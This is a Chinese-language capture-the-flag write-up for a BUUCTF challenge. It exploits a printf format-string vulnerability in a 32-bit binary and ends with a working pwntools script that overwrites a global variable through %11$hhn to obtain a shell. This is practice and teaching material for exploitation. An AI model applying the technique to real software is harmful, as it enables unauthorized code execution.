题目:BUUCTF在线评测
checksec一下,32位程序,有canary,开NX
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
放到ida里f5一下,发现一个明显的printf格式化字符串漏洞,我们需要控制x的值为4,就可以获得binsh
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+2Ch] [ebp-5Ch]
unsigned int v5; // [esp+7Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(&buf, 0, 0x50u);
read(0, &buf, 0x50u);
printf(&buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}
格式化字符串研究了一会,这个算是比较简单的了。改写data段里的x。先用笨方法获得我们格式化字符串传参的地址偏移,发现是第11个。
aaaa--0xfffb6cec--0x50--0xc2--(nil)--0xc30000--(nil)--0xfffb6de4--(nil)--(nil)--0x50--0x61616161--0x70252d2d--0x70252d2d--0x70252d2d--0x70252d2d--0x70252d2d--0x70252d2d--0x70252d2d--0x70252d2d3!
“%n”是从栈上取一个地址,往这个地址里写入前面字节数的数(解释不清有点)。有个栗子吧:“%100c”是100个字符,“%100c%n”就是往地址里写100这个数字。其中要注意的是,“%hhn”是每次以一个字节写入,“%hn”是每次以两个字节写入,“%n”是每次以四个字节写入,这道题要我们把x改为4,所以用哪个都可。
exp:
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
r = process('./fm')
#r = remote('node4.buuoj.cn','26001')
x_addr = 0x0804A02C
#payload = 'aaaa' + '--%p'*20
payload = p32(x_addr) + '%11$hhn'
r.sendline(payload)
r.interactive()
~